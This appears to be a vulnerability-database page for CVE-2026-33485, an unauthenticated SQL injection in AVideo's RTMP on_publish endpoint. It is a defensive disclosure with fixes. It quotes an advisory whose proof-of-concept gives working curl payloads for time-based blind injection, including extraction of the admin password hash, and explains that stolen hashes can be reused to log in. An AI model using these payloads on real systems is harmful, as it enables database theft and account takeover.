PHP
CVE-2026-33485
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend RTMP publish request to on_publish.php
-
ExploitInject SQL payload in stream key parameter
-
ExecutionExecute time-based blind SQL injection
-
ImpactExtract database contents including password hashes
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation against default installations of the RTMP Live plugin. Attacker sends POST request to plugin/Live/on_publish.php with crafted stream key parameter containing SQL injection payload. |
| Impact | This represents a high-severity risk requiring immediate attention. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) indicates network-accessible exploitation with low complexity requiring no privileges or user interaction, resulting in high confidentiality impact. The vulnerability is particularly dangerous because one injection point is reached unconditionally on every RTMP publish request without any authentication. The public GitHub Security Advisory (GHSA-8p58-35c3-ccxx) provides working proof-of-concept code demonstrating character-by-character database extraction via time-based blind SQL injection. While EPSS and KEV data are not provided in the intelligence sources, the combination of unauthenticated remote exploitation, public POC availability, and the ability to extract password hashes that can be directly reused for authentication (bypassing bcrypt security) makes this a critical priority for any organization running AVideo. The attack is fully automatable and requires only HTTP POST requests to exploit. |
| Exploit ScenarioDerived | An unauthenticated attacker sends crafted HTTP POST requests to the publicly accessible on_publish.php endpoint with a malicious stream name parameter containing SQL injection payloads using time-based techniques (SLEEP function). By observing response delays, the attacker iteratively extracts database contents character-by-character, obtaining user password hashes within hours. The attacker then uses extracted bcrypt hashes directly as the password parameter to authenticate and hijack live streams or administrative accounts, since the application compares raw hash values without re-hashing. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
An unauthenticated SQL injection vulnerability exists in the AVideo platform's RTMP on_publish callback, allowing remote attackers to extract the entire database via time-based blind SQL injection. The vulnerability affects the wwbn_avideo composer package and can be exploited without authentication to steal user password hashes, email addresses, and API keys. A detailed proof-of-concept is publicly available in the GitHub Security Advisory, and the vulnerability has a CVSS score of 7.5 (High) with network attack vector and low complexity.
RemediationAI
Immediately apply the recommended code fixes to implement parameterized queries in three locations: LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php lines 298-303, LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php lines 494-495, and LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php lines 681-688. The fixes use the existing sqlDAL::readSql() parameterized binding support with format string 's' and values arrays. Until patching is complete, implement network-level access controls to restrict RTMP publish callbacks to trusted IP addresses only, deploy a web application firewall with SQL injection signatures, and monitor for time-delayed responses from on_publish.php endpoints. Refer to the GitHub Security Advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx for official patch information and updates from the WWBN/AVideo project maintainers.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability (CWE-89: SQL Injection) affects the AVideo streaming platform, specifically the wwbn_avideo composer package (pkg:composer/wwbn_avideo). The vulnerable component is the RTMP on_publish callback at plugin/Live/on_publish.php, which processes incoming stream publish requests. Two SQL injection points exist: LiveTransmitionHistory::getLatest() uses string interpolation in a LIKE clause, and LiveTransmition::keyExists() directly concatenates user input into WHERE clause conditions. The application attempts input sanitization by stripping only ampersand and equals characters, but this is insufficient to prevent SQL injection. While the codebase uses sqlDAL::readSql() which supports parameterized queries, the vulnerable functions call it without format/values parameters, causing prepared statements to compile with injected SQL payloads already embedded. This is a classic server-side injection affecting PHP-based MySQL database interactions in a live streaming context.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations - LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() - without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php - no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);Injection point #1 - unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}Injection point #2 - when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes - no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string - with the injection payload already embedded - to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional - simplest):
# Time-based blind SQLi via getLatest() - no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction - character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1Impact
An unauthenticated remote attacker can:
- Extract all database contents via time-based blind SQL injection, including:
- User password hashes (bcrypt)
- Email addresses and personal information
- API keys, session tokens, and live stream passwords
- Site configuration and secrets stored in database tables
- Authenticate as any user to the streaming system - extracted password hashes can be used directly as the
$_GET['p']parameter sinceon_publish.php:153compares$_GET['p'] === $user->getPassword()against the raw stored hash, allowing the attacker to start streams impersonating any user. - Enumerate database structure - the injection can be used to query
information_schematables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request - no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE ? ";
$formats .= "s";
$values[] = $key . '%';
}Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:
if(!$strict){
$parts = Live::getLiveParametersFromKey($key);
$key = $parts['cleanKey'];
$sql .= " `key` LIKE ? ";
$formats = "s";
$values = [$key . '%'];
}else{
$sql .= " `key` = ? ";
$formats = "s";
$values = [$key];
}All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
Executive ViewAI
An unauthenticated SQL injection vulnerability in the AVideo platform allows attackers to extract sensitive data including user credentials, emails, and API keys without any authentication required. Organizations running AVideo are at immediate risk of data breach and credential compromise, with no vendor patch currently available to remediate the threat.
Deploy Web Application Firewall (WAF) with SQL injection detection rules on the RTMP on_publish callback endpoint; restrict network access to RTMP callback handlers to whitelisted internal IPs only; disable RTMP on_publish callbacks if not critical to operations; implement request logging and anomaly detection to identify exploitation attempts; rotate all user passwords and API keys as a precautionary measure; monitor for unauthorized database access patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in AVideo Authentication and RCE
View all 5In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-8p58-35c3-ccxx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB